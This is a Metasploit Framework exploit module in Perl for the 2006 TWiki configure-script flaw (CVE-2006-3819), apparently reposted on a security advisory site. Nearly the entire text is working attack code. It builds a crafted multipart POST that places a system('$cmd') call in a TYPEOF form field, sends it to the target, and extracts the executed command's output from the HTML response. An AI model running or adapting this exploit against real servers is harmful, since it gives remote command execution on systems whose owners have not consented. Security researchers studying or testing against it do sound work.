Rated as : High Risk
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::twiki_config_typeof;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = {
'HttpBoundary' => ['Mtb06z', 'HTTP boundary']
};
my $info = {
'Name' => 'Twiki Configure script TYPEOF Parameter Remote Command
Execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'David Maciejak <david dot maciejak at gmail dot
com>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'DIR' => [1, 'DATA', 'Directory of Twiki', '/twiki'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in
the
Twiki configure script. All versions of Twiki prior to
4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on
twiki.org homepage.
}),
'Refs' =>
[
['BID', '19188'],
['CVE', '2006-3819'],
['OSVDB', '27556'],
],
'Payload' =>
{
'Space' => 128,
'Keys' => ['cmd','cmd_bash'],
},
'Keys' => ['twiki'],
'DisclosureDate' => 'Jul 27 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->VHost;
my $target_port = $self->GetVar('RPORT');
my $dir = $self->GetVar('DIR');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $cmd = $encodedPayload->RawPayload;
my $boundary = $self->GetLocal('HttpBoundary');
$cmd=
"\r\n--".$boundary."\r\n".
"Content-Disposition: form-data;
name=\"action\"\r\n\r\n".
"update\r\n".
"--".$boundary.
"Content-Disposition: form-data;
name=\"TYPEOF:{system('$cmd')}\"\r\n\r\n".
"BOOLEAN\r\n".
"--".$boundary;
my $proto="http";
if ($self->GetVar('SSL'))
{
$proto.="s";
}
my $request =
"POST ".$dir."/bin/configure HTTP/1.1\r\n".
"Content-Type: multipart/form-data;
boundary=".$boundary."\r\n".
"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec
i686)\r\n".
"Host: $target_host\r\n".
"Referer:
".$proto."://".$target_host.$dir."/bin/configure\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg,
image/png\r\n".
"Accept-Language: en\r\n".
"Content-Length: ". length($cmd). "\r\n\r\n".
$cmd;
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($request);
my $results = $s->Recv(-1, 200);
if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
my @extract_result;
my @results = split ( /\r\n/, $results );
chomp @results;
my $fill_extract_result=0;
my $end_break=0;
my $i=0;
while ( !$end_break && ($i < @results)){
if ($results[$i] =~ /\<div id=\"patternScreen\"\>/)
{
$fill_extract_result=0;
$end_break=1;
}
if ($fill_extract_result>0) {
push(@extract_result,$results[$i]);
}
if ($results[$i] =~ /\<body
class=\"patternNoViewPage\"\>/)
{
$fill_extract_result=1;
}
$i++;
}
if (@extract_result < 3) {
$self->PrintLine("[*] Target may be not vulnerable, or you
have used ';' char in CMD");
}
else {
for ($i=1;$i<@extract_result;$i+=2) {
chomp @extract_result;
$self->PrintLine("$extract_result[$i]");
}
}
}
$s->Close();
return;
}
sub VHost {
my $self = shift;
my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
return $name;
}
1;
securitydot.net - 2006-08-02
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